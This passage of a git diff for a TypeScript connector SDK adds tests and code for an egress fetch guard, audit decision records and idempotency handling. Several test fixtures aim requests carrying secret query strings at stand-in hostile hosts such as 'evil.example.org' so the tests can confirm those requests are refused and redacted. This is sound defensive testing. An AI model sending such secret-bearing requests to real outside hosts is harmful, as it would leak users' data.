reason once with its receiver intact', async () => { + const audit = new AuditLogger(); + let receiver: unknown; + let reasonReads = 0; + const evaluator = { + name: 'custom-throttle', + evaluate() { + receiver = this; + return { + allowed: false as const, + get reason() { + reasonReads += 1; + return 'capacity'; + }, + code: 'RATE_LIMIT_EXCEEDED' as const, + details: { limit: 2, windowMs: 1000 }, + }; + }, + }; + const { tool, execute } = makeConnector({ + policies: { audit, evaluators: [evaluator] }, + }); + const error = await run(tool, input).catch((failure: unknown) => failure); + expect(receiver).toBe(evaluator); + expect(reasonReads).toBe(1); + expect(error).toMatchObject({ + code: 'RATE_LIMIT_EXCEEDED', + policy: 'custom-throttle', + reason: 'capacity', + retryable: true, + details: { limit: 2, windowMs: 1000 }, + }); + expect(audit.events()).toMatchObject([ + { + decisionCode: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + }, + ]); + expect(execute).not.toHaveBeenCalled(); + }); + + it('keeps nested denial metadata on the outer execute failure', async () => { + const audit = new AuditLogger(); + const inner = createConnector({ + id: 'taxonomy.inner', + description: 'Deny a nested write', + permissions: { sideEffect: 'destructive' }, + policies: { audit }, + execute: async () => 'unexpected', + }); + let innerError: unknown; + const outer = createConnector({ + id: 'taxonomy.outer', + description: 'Propagate nested refusal', + permissions: { sideEffect: 'read' }, + policies: { audit }, + execute: async (_, context) => { + try { + return await run(inner, {}, context); + } catch (error) { + innerError = error; + throw error; + } + }, + }); + const error = await run(outer, {}).catch((failure: unknown) => failure); + expect(error).toBe(innerError); + expect(error).toMatchObject({ + code: 'APPROVAL_GRANT_MISSING', + connector: 'taxonomy.inner', + }); + expect(audit.events()).toMatchObject([ + { + resource: 'taxonomy.inner', + decision: 'denied', + decisionCode: 'APPROVAL_GRANT_MISSING', + policyKind: 'write-permissions', + retryable: false, + }, + { + resource: 'taxonomy.outer', + decision: 'error', + decisionCode: 'APPROVAL_GRANT_MISSING', + policyKind: 'write-permissions', + retryable: false, + }, + ]); + }); + + it.each([ + 'unregistered', + 'modified', + 'options', + 'unverifiable', + ] as const)('types the %s invocation boundary without execute or audit', async (boundary) => { + const audit = new AuditLogger(); + const execute = vi.fn(async () => 'executed'); + const tool = createConnector({ + id: 'taxonomy.invocation', + description: 'Check invocation ownership', + permissions: { sideEffect: 'read' }, + policies: { audit }, + execute, + }); + const codes = { + unregistered: 'CONNECTOR_UNREGISTERED', + modified: 'CONNECTOR_BOUNDARY_MODIFIED', + options: 'CONNECTOR_INVOCATION_OPTIONS_INVALID', + unverifiable: 'CONNECTOR_BOUNDARY_UNVERIFIABLE', + } as const; + const target = boundary === 'unregistered' ? { ...tool } : tool; + if (boundary === 'modified') + Object.defineProperty(tool, 'id', { + get() { + throw new Error(PRIVATE_BACKEND_SENTINEL); + }, + }); + if (boundary === 'unverifiable') { + const original = tool.execute; + tool.execute = async () => 'unchecked'; + replaceConnectorInvocation(tool, original); + } + const error = await invokeConnector( + target, + {}, + boundary === 'options' ? { toolCallId: '' } : {}, + ).catch((failure: unknown) => failure); + expect(error).toBeInstanceOf(ConnectorInvocationError); + expect(error).toBeInstanceOf(TypeError); + expect(error).toMatchObject({ + code: codes[boundary], + policyKind: 'invocation', + retryable: false, + connector: + boundary === 'unregistered' ? undefined : 'taxonomy.invocation', + }); + expect(exposedErrorText(error)).not.toContain(PRIVATE_BACKEND_SENTINEL); + expect(execute).not.toHaveBeenCalled(); + expect(audit.events()).toEqual([]); + }); + + it.each([ + 'input', + 'output', + ] as const)('keeps direct %s validation redacted with its literal code', async (phase) => { + const audit = new AuditLogger(); + const execute = vi.fn(async () => 'invalid output'); + const tool = createConnector({ + id: 'taxonomy.validation', + description: 'Validate direct input and output', + permissions: { sideEffect: 'read' }, + policies: { audit }, + ...(phase === 'input' + ? { inputSchema: z.number() } + : { outputSchema: z.number() }), + execute: execute as never, + }); + const error = await invokeConnector(tool, 'invalid input' as never).catch( + (failure: unknown) => failure, + ); + const code = + phase === 'input' + ? 'CONNECTOR_INPUT_INVALID' + : 'CONNECTOR_OUTPUT_INVALID'; + expect(error).toBeInstanceOf(ConnectorValidationError); + expect(error).toMatchObject({ + phase, + code, + policyKind: 'validation', + retryable: false, + }); + expect(Object.hasOwn(error as object, 'cause')).toBe(false); + expect(exposedErrorText(error)).not.toContain('invalid input'); + expect(exposedErrorText(error)).not.toContain('invalid output'); + if (phase === 'input') { + expect(execute).not.toHaveBeenCalled(); + expect(audit.events()).toEqual([]); + } else { + expect(execute).toHaveBeenCalledTimes(1); + expect(audit.events()).toMatchObject([ + { + decision: 'error', + decisionCode: code, + policyKind: 'validation', + retryable: false, + }, + ]); + } + }); +}); + +describe('runtime fetch decision projection', () => { + it.each([ + ['input', 'EGRESS_INPUT_INVALID', null, 0, 0], + ['url', 'EGRESS_URL_INVALID', null, 0, 0], + ['scheme', 'EGRESS_SCHEME_NOT_ALLOWED', 'api.example.com', 0, 0], + ['host', 'EGRESS_HOST_NOT_DECLARED', 'other.example.com', 0, 0], + ['redirect-url', 'EGRESS_REDIRECT_URL_INVALID', null, 1, 1], + [ + 'redirect-scheme', + 'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED', + 'api.example.com', + 1, + 1, + ], + ['redirect-host', 'EGRESS_REDIRECT_HOST_DENIED', 'other.example.com', 1, 1], + ['opaque', 'EGRESS_REDIRECT_UNVERIFIABLE', 'api.example.com', 1, 1], + ['limit', 'EGRESS_REDIRECT_LIMIT_EXCEEDED', 'api.example.com', 21, 21], + ['body', 'EGRESS_REDIRECT_BODY_UNREPLAYABLE', 'api.example.com', 1, 1], + ] as const)('retains the %s refusal code and releases each discarded response', async (scenario, code, host, hop, requests) => { + const cancel = vi.fn(); + const audit = new AuditLogger(); + const location = + scenario === 'redirect-url' + ? 'https://[' + : scenario === 'redirect-scheme' + ? 'file://api.example.com/private-path' + : scenario === 'redirect-host' + ? 'https://other.example.com/private-path?secret=private-query' + : 'https://api.example.com/next'; + const fetch = vi.fn(async () => ({ + status: scenario === 'opaque' ? 0 : 307, + headers: { get: () => location }, + body: { cancel }, + })); + const tool = createConnector({ + id: 'taxonomy.fetch', + description: 'Observe fetch refusal', + permissions: { sideEffect: 'read', egress: ['api.example.com'] }, + policies: { audit, fetch }, + execute: async (_input, _context, runtime) => + runtime.fetch( + scenario === 'input' + ? ({} as never) + : scenario === 'url' + ? 'https://[' + : scenario === 'scheme' + ? 'file://api.example.com/private-path' + : scenario === 'host' + ? 'https://other.example.com/private-path?secret=private-query' + : 'https://api.example.com/start', + scenario === 'body' + ? { method: 'POST', body: { getReader() {} } } + : undefined, + ), + }); + const error = await run(tool, {}).catch((failure: unknown) => failure); + expect(error).toBeInstanceOf(ConnectorPolicyError); + expect(error).toMatchObject({ + code, + policyKind: 'egress-fetch', + retryable: false, + details: { host, hop }, + }); + expect((error as Error).message).not.toContain('undefined'); + expect(exposedErrorText(error)).not.toContain('private-path'); + expect(exposedErrorText(error)).not.toContain('private-query'); + expect(fetch).toHaveBeenCalledTimes(requests); + expect(cancel).toHaveBeenCalledTimes(requests); + expect(audit.events()).toMatchObject([ + { + decision: 'denied', + decisionCode: code, + policyKind: 'egress-fetch', + retryable: false, + detail: { host, hop }, + }, + ]); + }); +}); + +describe('successful connector decision records', () => { + it('keeps authorization, approval, takeover and outcome records distinct', async () => { + const audit = new AuditLogger(); + const store = { + get: () => undefined, + inspect: () => ({ state: 'absent' as const }), + reserve: () => ({ + state: 'reserved' as const, + token: 'lease', + tookOver: true, + }), + put() {}, + release() {}, + }; + const tool = createConnector({ + id: 'taxonomy.allowed', + description: 'Exercise approval and takeover', + permissions: { + sideEffect: 'destructive', + requiredPermissions: ['contacts.write'], + idempotencyKey: true, + }, + policies: { + audit, + idempotencyStore: store, + }, + execute: async () => 'completed', + }); + await expect( + run( + tool, + {}, + makeContext({ + idempotencyKey: 'k1', + approved: ['taxonomy.allowed'], + principalPermissions: { + permissions: ['contacts.write'], + policyVersion: 'v7', + }, + }), + ), + ).resolves.toBe('completed'); + expect(audit.events()).toMatchObject([ + { + action: 'connector.authorize', + decisionCode: 'PERMISSION_GRANTED', + policyKind: 'required-permissions', + retryable: false, + }, + { + action: 'connector.approval', + decisionCode: 'APPROVAL_GRANTED', + policyKind: 'write-permissions', + retryable: false, + }, + { + action: 'connector.execute', + decisionCode: 'IDEMPOTENCY_TAKEOVER', + policyKind: 'idempotency', + retryable: false, + }, + { + action: 'connector.execute', + decisionCode: 'CONNECTOR_ALLOWED', + policyKind: 'execution', + retryable: false, + }, + ]); + }); + + it('records successful dry-run and replay with the same outcome code', async () => { + const audit = new AuditLogger(); + const execute = vi.fn(async () => 'completed'); + const tool = createConnector({ + id: 'taxonomy.results', + description: 'Observe successful outcomes', + permissions: { sideEffect: 'read', idempotencyKey: true, dryRun: true }, + policies: { audit, idempotencyStore: new InMemoryIdempotencyStore() }, + execute, + dryRunExecute: async () => 'simulated', + }); + await expect(run(tool, {}, makeContext({ dryRun: true }))).resolves.toBe( + 'simulated', + ); + await expect( + run(tool, {}, makeContext({ idempotencyKey: 'k1' })), + ).resolves.toBe('completed'); + await expect( + run(tool, {}, makeContext({ idempotencyKey: 'k1' })), + ).resolves.toBe('completed'); + expect(execute).toHaveBeenCalledTimes(1); + expect(audit.events()).toMatchObject([ + { + decisionCode: 'CONNECTOR_ALLOWED', + retryable: false, + detail: { dryRun: true }, + }, + { decisionCode: 'CONNECTOR_ALLOWED', retryable: false }, + { + decisionCode: 'CONNECTOR_ALLOWED', + retryable: false, + detail: { replayed: true }, + }, + ]); + }); +}); + +describe('audit observer isolation during connector settlement', () => { + function failingAudit(): AuditLogger { + return new AuditLogger({ + sink: () => { + throw new Error('sink failure'); + }, + onSinkError: () => { + throw new Error('observer failure'); + }, + }); + } + + it('returns a completed atomic result and retains its reservation after commit and observer failures', async () => { + const store = new InMemoryIdempotencyStore(); + vi.spyOn(store, 'put').mockRejectedValue(new Error('commit failure')); + const release = vi.spyOn(store, 'release'); + const execute = vi.fn(async () => ({ receipt: 'completed' })); + const audit = failingAudit(); + const connector = createConnectorBase({ + id: 'audit.atomic-result', + description: 'Local effect counter', + permissions: { sideEffect: 'read', idempotencyKey: true }, + policies: { + audit, + idempotencyStore: store, + idempotencyKeyMigration: 'legacy-writers-drained', + }, + execute, + }); + const requestContext = new RequestContext(); + requestContext.set(IDEMPOTENCY_KEY_CONTEXT_KEY, 'same-operation'); + await expect( + invokeConnector(connector, {}, { requestContext }), + ).resolves.toEqual({ receipt: 'completed' }); + await expect( + invokeConnector(connector, {}, { requestContext }), + ).rejects.toMatchObject({ + code: 'IDEMPOTENCY_CONFLICT', + retryable: true, + }); + expect(execute).toHaveBeenCalledTimes(1); + expect(release).not.toHaveBeenCalled(); + expect( + audit.events().map((event) => [event.decisionCode, event.retryable]), + ).toEqual([ + ['STORE_COMMIT_FAILED', false], + ['CONNECTOR_ALLOWED', false], + ['IDEMPOTENCY_CONFLICT', true], + ]); + }); + + it('returns a completed non-atomic result after commit and observer failures', async () => { + const execute = vi.fn(async () => ({ receipt: 'completed' })); + const audit = failingAudit(); + const connector = createConnectorBase({ + id: 'audit.non-atomic-result', + description: 'Local effect counter', + permissions: { sideEffect: 'read', idempotencyKey: true }, + policies: { + audit, + idempotencyKeyMigration: 'legacy-writers-drained', + idempotencyStore: { + get: async () => undefined, + put: async () => { + throw new Error('commit failure'); + }, + }, + }, + execute, + }); + const requestContext = new RequestContext(); + requestContext.set(IDEMPOTENCY_KEY_CONTEXT_KEY, 'operation'); + await expect( + invokeConnector(connector, {}, { requestContext }), + ).resolves.toEqual({ receipt: 'completed' }); + expect(execute).toHaveBeenCalledTimes(1); + expect( + audit.events().map((event) => [event.decisionCode, event.retryable]), + ).toEqual([ + ['STORE_COMMIT_FAILED', false], + ['CONNECTOR_ALLOWED', false], + ]); + }); + + it('preserves the original failure when reservation release and its observer fail', async () => { + const store = new InMemoryIdempotencyStore(); + const release = vi + .spyOn(store, 'release') + .mockRejectedValue(new Error('release failure')); + const original = new Error('original execution failure'); + const execute = vi.fn(async () => { + throw original; + }); + const audit = failingAudit(); + const connector = createConnectorBase({ + id: 'audit.release-failure', + description: 'Local failing execution', + permissions: { sideEffect: 'read', idempotencyKey: true }, + policies: { + audit, + idempotencyStore: store, + idempotencyKeyMigration: 'legacy-writers-drained', + }, + execute, + }); + const requestContext = new RequestContext(); + requestContext.set(IDEMPOTENCY_KEY_CONTEXT_KEY, 'operation'); + await expect( + invokeConnector(connector, {}, { requestContext }), + ).rejects.toBe(original); + expect(execute).toHaveBeenCalledTimes(1); + expect(release).toHaveBeenCalledTimes(1); + expect( + audit.events().map((event) => [event.decisionCode, event.retryable]), + ).toEqual([ + ['STORE_RELEASE_FAILED', false], + ['CONNECTOR_EXECUTION_FAILED', false], + ]); + }); +}); diff --git a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts index a896ddcf..a1ef1361 100644 --- a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts +++ b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts @@ -14,7 +14,7 @@ import { type RateLimitDatabase, type RateLimitStatement, } from './d1-rate-limit-store.js'; -import { createConnector } from './index.js'; +import { ConnectorStoreError, createConnector } from './index.js'; // --- node:sqlite -> RateLimitDatabase adapter ------------------------------- @@ -196,9 +196,15 @@ describe('D1RateLimitStore (Node SQLite facsimile)', () => { ); vi.setSystemTime(T0 + MINUTE); - await expect(runConnector(tool)).rejects.toThrow( - 'injected cleanup failure', - ); + const failure = await runConnector(tool).catch((error: unknown) => error); + expect(failure).toBeInstanceOf(ConnectorStoreError); + expect(failure).toMatchObject({ + code: 'STORE_UNAVAILABLE', + store: 'rate-limit', + operation: 'increment', + retryable: true, + cause: expect.objectContaining({ message: 'injected cleanup failure' }), + }); expect(execute).not.toHaveBeenCalled(); expect( sqlite @@ -212,6 +218,9 @@ describe('D1RateLimitStore (Node SQLite facsimile)', () => { { decision: 'error', reason: 'rate-limit store increment failed', + decisionCode: 'STORE_UNAVAILABLE', + policyKind: 'store', + retryable: true, detail: { stage: 'rate-limit-store' }, }, ]); diff --git a/packages/breakwater/src/connector-sdk/egress-fetch.test.ts b/packages/breakwater/src/connector-sdk/egress-fetch.test.ts index 893a3947..97a1defd 100644 --- a/packages/breakwater/src/connector-sdk/egress-fetch.test.ts +++ b/packages/breakwater/src/connector-sdk/egress-fetch.test.ts @@ -4,6 +4,7 @@ import { describe, expect, it, vi } from 'vitest'; import { type EgressDenial, EgressDeniedError, + EgressGuardError, egressFetch, } from './egress-fetch.js'; @@ -50,6 +51,230 @@ function hopHeaders(call: BaseCall): { get(name: string): string | null } { return call.init?.headers as { get(name: string): string | null }; } +describe('egress decision metadata', () => { + it.each([ + { + input: { url: 'https://api.example.com/private?secret=hidden' }, + code: 'EGRESS_INPUT_INVALID', + host: null, + }, + { input: '/private?secret=hidden', code: 'EGRESS_URL_INVALID', host: null }, + { + input: 'ftp://api.example.com/private?secret=hidden', + code: 'EGRESS_SCHEME_NOT_ALLOWED', + host: 'api.example.com', + }, + { + input: 'data:text/plain,hidden', + code: 'EGRESS_SCHEME_NOT_ALLOWED', + host: '', + }, + { + input: 'https://EVIL.EXAMPLE.ORG./private?secret=hidden', + code: 'EGRESS_HOST_NOT_DECLARED', + host: 'evil.example.org', + legacyHost: 'evil.example.org.', + }, + { + input: 'https://[::1]/private?secret=hidden', + code: 'EGRESS_HOST_NOT_DECLARED', + host: '[::1]', + }, + { + input: 'https://_service.example.com/private?secret=hidden', + code: 'EGRESS_HOST_NOT_DECLARED', + host: '_service.example.com', + }, + { + input: 'https://a!b.example.com/private?secret=hidden', + code: 'EGRESS_HOST_NOT_DECLARED', + host: 'a!b.example.com', + }, + { + input: 'https://-host.example.com/private?secret=hidden', + code: 'EGRESS_HOST_NOT_DECLARED', + host: '-host.example.com', + }, + { + input: 'https://foo../private?secret=hidden', + code: 'EGRESS_HOST_NOT_DECLARED', + host: 'foo.', + legacyHost: 'foo..', + }, + { + input: 'custom://%F0%9F%8C%90/private?secret=hidden', + code: 'EGRESS_SCHEME_NOT_ALLOWED', + host: '%f0%9f%8c%90', + legacyHost: '%F0%9F%8C%90', + }, + ])('classifies $input as $code without fetching', async ({ + input, + code, + host, + legacyHost, + }) => { + const { fn, calls } = baseFetch(); + const guarded = egressFetch(['api.example.com'], { fetch: fn }); + + const failure = await guarded(input as string).catch( + (error: unknown) => error, + ); + + expect(failure).toBeInstanceOf(EgressDeniedError); + expect(failure).toMatchObject({ + kind: 'egress-denied', + host: legacyHost ?? host, + code, + policyKind: 'egress-fetch', + retryable: false, + details: { host, hop: 0 }, + }); + expect(JSON.stringify(failure)).not.toContain('hidden'); + expect(calls).toHaveLength(0); + }); + + it.each([ + { + location: 'https://[invalid/private?secret=hidden', + code: 'EGRESS_REDIRECT_URL_INVALID', + host: null, + }, + { + location: 'ftp://api.example.com/private?secret=hidden', + code: 'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED', + host: 'api.example.com', + }, + { + location: 'https://evil.example.org/private?secret=hidden', + code: 'EGRESS_REDIRECT_HOST_DENIED', + host: 'evil.example.org', + }, + ])('classifies $code and releases the redirect before refusing its request', async ({ + location, + code, + host, + }) => { + const cancel = vi.fn(() => Promise.resolve()); + const { fn, calls } = baseFetch( + stubResponse(302, { location }, { cancel }), + ); + const guarded = egressFetch(['api.example.com'], { fetch: fn }); + + const failure = await guarded('https://api.example.com/start').catch( + (error: unknown) => error, + ); + + expect(failure).toBeInstanceOf(EgressDeniedError); + expect(failure).toMatchObject({ + code, + policyKind: 'egress-fetch', + retryable: false, + details: { host, hop: 1 }, + }); + expect(JSON.stringify(failure)).not.toContain('hidden'); + expect(calls).toHaveLength(1); + expect(cancel).toHaveBeenCalledTimes(1); + }); + + it.each([ + { + status: 0, + maxRedirects: 20, + body: undefined, + code: 'EGRESS_REDIRECT_UNVERIFIABLE', + message: + 'egressFetch: received an opaque redirect (status 0) whose Location cannot be read — this guard cannot verify the hop, so it fails closed; on a browser use redirect: "manual" and handle the 3xx yourself', + }, + { + status: 302, + maxRedirects: 0, + body: undefined, + code: 'EGRESS_REDIRECT_LIMIT_EXCEEDED', + message: 'egressFetch: exceeded 0 redirects', + }, + { + status: 307, + maxRedirects: 20, + body: { getReader: () => ({}) }, + code: 'EGRESS_REDIRECT_BODY_UNREPLAYABLE', + message: + 'egressFetch: cannot follow a redirect that re-sends a one-shot (stream) body — buffer the body or handle the 3xx with redirect: "manual"', + }, + ])('keeps the TypeError message for $code with no next request', async ({ + status, + maxRedirects, + body, + code, + message, + }) => { + const cancel = vi.fn(() => Promise.resolve()); + const { fn, calls } = baseFetch( + stubResponse(status, { location: '/next?secret=hidden' }, { cancel }), + ); + const guarded = egressFetch(['api.example.com'], { + fetch: fn, + maxRedirects, + }); + + const failure = await guarded('https://api.example.com/start', { + method: 'POST', + body, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(TypeError); + expect(failure).toBeInstanceOf(EgressGuardError); + expect(failure).toMatchObject({ + kind: 'egress-guard', + message, + code, + policyKind: 'egress-fetch', + retryable: false, + details: { host: 'api.example.com', hop: 1 }, + }); + expect(JSON.stringify(failure)).not.toContain('hidden'); + expect(calls).toHaveLength(1); + expect(cancel).toHaveBeenCalledTimes(1); + }); + + it('classifies opaque redirects after an allowed hop and disposes both responses', async () => { + const cancel = vi.fn(() => Promise.resolve()); + const { fn, calls } = baseFetch( + stubResponse(302, { location: '/next' }, { cancel }), + stubResponse(0, {}, { cancel }), + ); + + await expect( + egressFetch(['api.example.com'], { fetch: fn })( + 'https://api.example.com/start', + ), + ).rejects.toMatchObject({ + code: 'EGRESS_REDIRECT_UNVERIFIABLE', + retryable: false, + details: { host: 'api.example.com', hop: 2 }, + }); + expect(calls).toHaveLength(2); + expect(cancel).toHaveBeenCalledTimes(2); + }); + + it('retains legacy standalone construction and copies safe details', () => { + const denial = { host: 'api.example.com', hop: 0, reason: 'custom reason' }; + const error = new EgressDeniedError(denial); + denial.host = 'changed.example.com'; + + expect(error).toMatchObject({ + message: 'egress denied: custom reason', + host: 'api.example.com', + hop: 0, + reason: 'custom reason', + code: 'EGRESS_DENIED', + policyKind: 'egress-fetch', + retryable: false, + details: { host: 'api.example.com', hop: 0 }, + }); + expect(Object.isFrozen(error.details)).toBe(true); + }); +}); + describe('egressFetch construction', () => { it('rejects allowlist entries that are not bare hostnames', () => { // #given / #when / #then @@ -516,6 +741,7 @@ describe('egressFetch seams', () => { ); expect(denials).toEqual([ { + code: 'EGRESS_HOST_NOT_DECLARED', host: 'evil.example.org', reason: "host 'evil.example.org' is not in the allowed egress hosts", hop: 0, @@ -523,6 +749,25 @@ describe('egressFetch seams', () => { ]); }); + it('preserves a frozen custom mapper error without adding metadata', async () => { + const mapped = Object.freeze(new Error('mapper-owned error')); + const { fn, calls } = baseFetch(); + const denied = vi.fn((_denial: EgressDenial) => mapped); + const guarded = egressFetch(['api.example.com'], { fetch: fn, denied }); + + await expect(guarded('https://evil.example.org/')).rejects.toBe(mapped); + + expect(denied).toHaveBeenCalledWith({ + code: 'EGRESS_HOST_NOT_DECLARED', + host: 'evil.example.org', + reason: "host 'evil.example.org' is not in the allowed egress hosts", + hop: 0, + }); + expect(mapped).not.toHaveProperty('code'); + expect(mapped).not.toHaveProperty('details'); + expect(calls).toHaveLength(0); + }); + it('defaults the base to the global fetch and fails loudly without one', async () => { // #given const { fn, calls } = baseFetch(stubResponse(200)); diff --git a/packages/breakwater/src/connector-sdk/egress-fetch.ts b/packages/breakwater/src/connector-sdk/egress-fetch.ts index aec6359e..f69237f9 100644 --- a/packages/breakwater/src/connector-sdk/egress-fetch.ts +++ b/packages/breakwater/src/connector-sdk/egress-fetch.ts @@ -1,30 +1,13 @@ // SPDX-License-Identifier: Apache-2.0 -// Fetch-level egress enforcement — the runtime half of the egress posture. -// The networkEgress POLICY gates what a manifest DECLARES; this guard gates -// what the connector actually REACHES: egressFetch() wraps a base fetch so -// every request — redirect hops included — must resolve to an allowed host -// before any bytes leave. createConnector() hands each execution a guard -// bound to the manifest's declared egress (ConnectorRuntime.fetch), closing -// the actual ⊆ declared ⊆ org-allowed chain. -// -// Everything here is structural on purpose: breakwater's build tsconfig is -// lib-ES2022-only (runtime-agnostic — no DOM, no @types/node, no -// workers-types), so the web fetch surface is modeled as minimal structural -// subsets, the same discipline as the D1 store seams. URL and Headers are -// runtime globals everywhere fetch exists (Workers, Node >= 18, browsers). -// -// Redirects are followed MANUALLY with a per-hop allowlist check — the whole -// point: with the platform's redirect: 'follow', an allowed host could 302 -// to an arbitrary one and the response would come back as if nothing left -// the allowlist. Divergences from platform 'follow' (accepted): the final -// response's `redirected` flag stays false (each hop was a 'manual' fetch); -// a one-shot stream body cannot be re-sent across a 307/308 hop (throws -// instead of silently truncating — buffer the body or handle the 3xx -// yourself with redirect: 'manual'); and a browser's opaque redirect -// response (status 0, all a browser exposes for the internal 'manual' hop) is -// refused fail-closed rather than returned unfollowed — inert on Workers/Node, -// which return a real 3xx status the per-hop check can inspect. +// Structural fetch types keep the ES2022 build independent of DOM declarations. +// Manual redirects let the guard check Location before the transport follows it. +import { + CONNECTOR_DECISIONS, + type ConnectorDenialCode, + type ConnectorDenialMetadata, + captureConnectorDenialMetadata, +} from '../connector-decision.js'; import { assertEgressHostList, domainAllowed, @@ -107,12 +90,16 @@ export type EgressFetchBase = (...args: never[]) => Promise; /** * One denied request. `host` is null when the URL never parsed; `hop` is 0 - * for the initial request, n for the nth redirect. Deliberately never - * carries the full URL — denials get audited, and query strings/paths can - * embed secrets that must not reach a log sink. + * for the initial request, n for the nth redirect. Paths and query strings + * can contain secrets, so diagnostic fields use the hostname. */ export interface EgressDenial { - /** Normalized denied hostname, or `null` when the URL was invalid. */ + /** Stable request refusal code; omitted by legacy manual construction. */ + readonly code?: Exclude< + Extract, + 'EGRESS_HOST_NOT_ALLOWED_BY_ORG' + >; + /** Denied hostname, or `null` when the URL was invalid. */ readonly host: string | null; /** Safe explanation that excludes the path and query string. */ readonly reason: string; @@ -120,9 +107,39 @@ export interface EgressDenial { readonly hop: number; } +type AuthoredEgressDenial = EgressDenial & { + readonly code: NonNullable; +}; + +type EgressDecisionMetadata = Extract< + ConnectorDenialMetadata, + { code: NonNullable } +>; + +/** Code-specific metadata for an operational redirect refusal. */ +export type EgressGuardMetadata = Extract< + ConnectorDenialMetadata, + { + code: + | 'EGRESS_REDIRECT_UNVERIFIABLE' + | 'EGRESS_REDIRECT_LIMIT_EXCEEDED' + | 'EGRESS_REDIRECT_BODY_UNREPLAYABLE'; + } +>; + /** Error thrown when {@link egressFetch} refuses a request. */ export class EgressDeniedError extends Error { - /** Normalized denied hostname, or `null` when the URL was invalid. */ + /** Structural discriminator for a request denial. */ + readonly kind = 'egress-denied'; + /** Stable refusal code. */ + readonly code: EgressDecisionMetadata['code']; + /** Canonical policy category independent of diagnostic names. */ + readonly policyKind: 'egress-fetch'; + /** Whether the unchanged logical operation may be retried. */ + readonly retryable: false; + /** Copied safe decision fields, excluding request contents. */ + readonly details: EgressDecisionMetadata['details']; + /** Denied hostname, or `null` when the URL was invalid. */ readonly host: string | null; /** Zero for the initial request, or the one-based redirect hop number. */ readonly hop: number; @@ -131,13 +148,48 @@ export class EgressDeniedError extends Error { constructor(denial: EgressDenial) { super(`egress denied: ${denial.reason}`); + const metadata = captureConnectorDenialMetadata({ + code: denial.code ?? 'EGRESS_DENIED', + details: { + host: denial.host === null ? null : normalizeDomain(denial.host), + hop: denial.hop, + }, + }); this.name = 'EgressDeniedError'; + this.code = metadata.code; + this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind; + this.retryable = CONNECTOR_DECISIONS[this.code].retryable; + this.details = metadata.details; this.host = denial.host; this.hop = denial.hop; this.reason = denial.reason; } } +/** A redirect refusal that retains the guard's TypeError boundary. */ +export class EgressGuardError extends TypeError { + /** Structural discriminator for an operational redirect refusal. */ + readonly kind = 'egress-guard'; + /** Stable refusal code. */ + readonly code: EgressGuardMetadata['code']; + /** Canonical policy category independent of diagnostic names. */ + readonly policyKind: 'egress-fetch'; + /** Whether the unchanged logical operation may be retried. */ + readonly retryable: false; + /** Copied safe decision fields, excluding request contents. */ + readonly details: EgressGuardMetadata['details']; + + constructor(message: string, metadata: EgressGuardMetadata) { + super(message); + const captured = captureConnectorDenialMetadata(metadata); + this.name = 'EgressGuardError'; + this.code = captured.code; + this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind; + this.retryable = CONNECTOR_DECISIONS[this.code].retryable; + this.details = captured.details; + } +} + /** Configuration for {@link egressFetch}. */ export interface EgressFetchOptions { /** @@ -146,9 +198,8 @@ export interface EgressFetchOptions { */ fetch?: EgressFetchBase; /** - * Map a denial to the error thrown to the caller — the audit seam - * (createConnector records the denial and returns a ConnectorPolicyError - * here). Default: `new EgressDeniedError(denial)`. + * Map a request denial to a caller-owned error. + * Default: `new EgressDeniedError(denial)`. */ denied?: (denial: EgressDenial) => Error; /** Redirect hops followed before throwing a TypeError (default 20, the @@ -287,7 +338,7 @@ export function egressFetch( // uses. const normalizedHosts = allowedHosts.map(normalizeDomain); const UrlCtor = requireGlobal('URL'); - const denied = + const denied: (denial: AuthoredEgressDenial) => Error = options.denied ?? ((denial: EgressDenial) => new EgressDeniedError(denial)); // A non-negative integer, symmetric with the allowlist validation above: // NaN/negative/fractional would make `hop > maxRedirects` never fire and an @@ -319,6 +370,7 @@ export function egressFetch( url = from ? new UrlCtor(raw, from.href) : new UrlCtor(raw); } catch { throw denied({ + code: hop === 0 ? 'EGRESS_URL_INVALID' : 'EGRESS_REDIRECT_URL_INVALID', host: null, reason: hop === 0 @@ -329,6 +381,10 @@ export function egressFetch( } if (url.protocol !== 'http:' && url.protocol !== 'https:') { throw denied({ + code: + hop === 0 + ? 'EGRESS_SCHEME_NOT_ALLOWED' + : 'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED', host: url.hostname, reason: `scheme '${url.protocol}' is not http(s)`, hop, @@ -336,6 +392,10 @@ export function egressFetch( } if (!domainAllowed(normalizeDomain(url.hostname), normalizedHosts)) { throw denied({ + code: + hop === 0 + ? 'EGRESS_HOST_NOT_DECLARED' + : 'EGRESS_REDIRECT_HOST_DENIED', host: url.hostname, reason: `host '${url.hostname}' is not in the allowed egress hosts`, hop, @@ -353,6 +413,7 @@ export function egressFetch( : undefined; if (raw === undefined) { throw denied({ + code: 'EGRESS_INPUT_INVALID', host: null, reason: 'input must be a URL string or URL object — pass (url, init), not a Request', @@ -376,30 +437,28 @@ export function egressFetch( for (let hop = 1; ; hop++) { if (response.status === 0) { - // A browser's redirect: 'manual' yields an opaque status-0 response - // (Workers/Node return a real 3xx); its Location is unreadable, so the - // per-hop check cannot run. Fail closed rather than return an - // unfollowed redirect. Covers the initial response and every hop. - // Release the discarded response's body first, like the sites below. releaseResponse(response); - throw new TypeError( + throw new EgressGuardError( 'egressFetch: received an opaque redirect (status 0) whose Location cannot be read — this guard cannot verify the hop, so it fails closed; on a browser use redirect: "manual" and handle the 3xx yourself', + { + code: 'EGRESS_REDIRECT_UNVERIFIABLE', + details: { host: normalizeDomain(url.hostname), hop }, + }, ); } if (!REDIRECT_STATUSES.has(response.status)) return response; const location = response.headers.get('location'); if (location === null) return response; - // Past here `response` is a redirect this loop consumes: every path below - // either follows the hop (reassigning `response`) or throws, so the caller - // never sees it again. Capture the one field the follow-up still needs, - // then release its body — the hop cap, a denied Location, the one-shot - // refusal, and the reassignment would each otherwise leak the discarded - // 3xx's connection (the opaque status-0 refusal above is the fifth discard - // site, released the same way at the top of the loop before its throw). const status = response.status; releaseResponse(response); if 